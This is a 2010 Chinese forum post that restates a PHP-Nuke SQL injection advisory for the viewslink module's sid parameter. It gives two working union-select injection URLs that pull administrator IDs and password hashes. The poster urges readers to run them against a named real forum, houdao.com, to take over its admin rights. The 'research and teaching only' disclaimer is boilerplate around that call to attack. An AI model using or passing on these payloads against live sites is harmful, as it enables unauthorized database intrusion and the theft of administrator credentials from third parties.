关于入侵www.bbs.houdao.com的测验_电脑百科

ZxID：9236426

等级: 上士

举报只看楼主使用道具楼主发表于: 2010-05-09 0

PHP-Nuke是一个广为流行的网站创建和管理工具，可使用很多数据库软件作为后端，如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke没有正确地过滤提交给viewslink模块的sid变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击，完全入侵数据库系统。
<*来源：CMD （[email protected]）
*>
测试方法：（我想猴岛同样有这样的注入点不访大家去试试将‘example'换成"houdao"使用注入工具注入进去。获得论坛权限。
--------------------------------------------------------------------------------
警告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.example.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
http://www.example.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*